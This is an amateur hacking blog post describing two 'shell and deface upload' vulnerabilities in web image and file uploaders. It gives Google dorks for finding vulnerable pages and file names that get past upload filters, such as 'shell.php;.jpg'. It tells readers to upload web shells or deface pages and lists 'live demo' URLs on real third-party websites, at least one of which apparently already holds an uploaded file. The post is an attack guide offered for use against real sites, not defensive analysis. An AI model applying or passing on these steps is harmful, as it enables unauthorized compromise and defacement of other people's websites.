" Image Uploader" Shell Upload Vulnrability

"CMS admin Image Uploader" Shell Upload Vulnrability
Google dorks
inurl:"default_image.asp"
inurl:"default_imagen.asp" 

inurl:"/box_image.htm"

You'll got a upload option after clicking on link that you got in google serach results

Now select your deface, or shell and upload it =)

supported foramts : shell.asp;.jpg, shell.php;.jpg, .gif, .jpg, .png, .pdf, .zip .html .php

you can use Tamper data too...

Live demo : 

https://www.thinkheartland.com/CMS/admin/default_Image.asp

https://www.thinkheartland.com/CMS/admin/images/backlinks.html

http://www.dautphetal.de/edit/default_asset.asp

New shell & Deface Upload Vulnerability

New shell & Deface  Upload Vulnerability ! by using this Vulnerability  You can Upload Your deface Page shell and files etc on websites :)


Google dork : 


inurl:.php "Please wait while the file is uploaded, it may take several minutes depending by the size of the file and by your internet bandwidth."

Vulnerable url :

http://localhost/upload.php

Live Demo :

- http://bestdrive.hi2.ro/upload.php
You will Got your file Link after upload file, goto link and then click on download file and you'll saw your file 


demo : http://bestdrive.hi2.ro/19d47109e3c9e2c1423eac228aff27d1/backlinks.html


Please Leave a comment if you like this Post ant want want more Posts, and sugess me what should be the next post ... thanks !!